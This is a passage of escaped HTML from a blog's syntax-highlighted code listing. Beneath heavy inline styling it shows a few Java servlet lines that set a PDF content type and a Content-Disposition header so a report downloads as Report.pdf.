style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: initial; background-image: url(http://www.karthikeyanc.com/blog/wp-content/themes/inove/img/icons.gif); background-position: 0px -96px; background-repeat: no-repeat; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(0, 130, 0) !important; direction: ltr !important; display: block; float: right; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 11px; font-style: normal !important; font-weight: normal !important; height: 16px; left: auto !important; line-height: 16px; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 22px; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;//If the report type is other than PDF handle accordingly]&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: rgb(255, 255, 255) !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;table style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 2px; border-collapse: collapse !important; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 2px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 2px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 2px; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 5px; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tbody style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tr style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;td class="number" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(175, 175, 175) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 3px; padding-left: 10px; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: 3em !important;"&gt;&lt;code style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; display: block !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0.3em !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; width: 2.7em !important;"&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class="content" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(108, 226, 108) !important; border-left-style: solid !important; border-left-width: 3px !important; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 13px; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; overflow-x: hidden; overflow-y: hidden; padding-bottom: 3px; padding-left: 0.5em !important; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: auto !important;"&gt;&lt;code class="plain" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;response.setContentType(&lt;/code&gt;&lt;code class="string" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: blue !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;"application/pdf"&lt;/code&gt;&lt;code class="plain" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: rgb(248, 248, 248) !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;table style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 2px; border-collapse: collapse !important; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 2px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 2px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 2px; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 5px; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tbody style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tr style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;td class="number" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(175, 175, 175) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 3px; padding-left: 10px; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: 3em !important;"&gt;&lt;code style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; display: block !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0.3em !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; width: 2.7em !important;"&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class="content" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(108, 226, 108) !important; border-left-style: solid !important; border-left-width: 3px !important; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 13px; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; overflow-x: hidden; overflow-y: hidden; padding-bottom: 3px; padding-left: 0.5em !important; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: auto !important;"&gt;&lt;code class="plain" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;response.setHeader(&lt;/code&gt;&lt;code class="string" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: blue !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;"Content-Disposition"&lt;/code&gt;&lt;code class="plain" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;,&lt;/code&gt;&lt;code class="string" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: blue !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;"attachment; filename=Report.pdf"&lt;/code&gt;&lt;code class="plain" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: rgb(255, 255, 255) !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;table style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 2px; border-collapse: collapse !important; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 2px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 2px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 2px; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 5px; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tbody style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tr style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;td class="number" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(175, 175, 175) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 3px; padding-left: 10px; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: 3em !important;"&gt;&lt;code style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; display: block !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0.3em !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; width: 2.7em !important;"&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class="content" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial 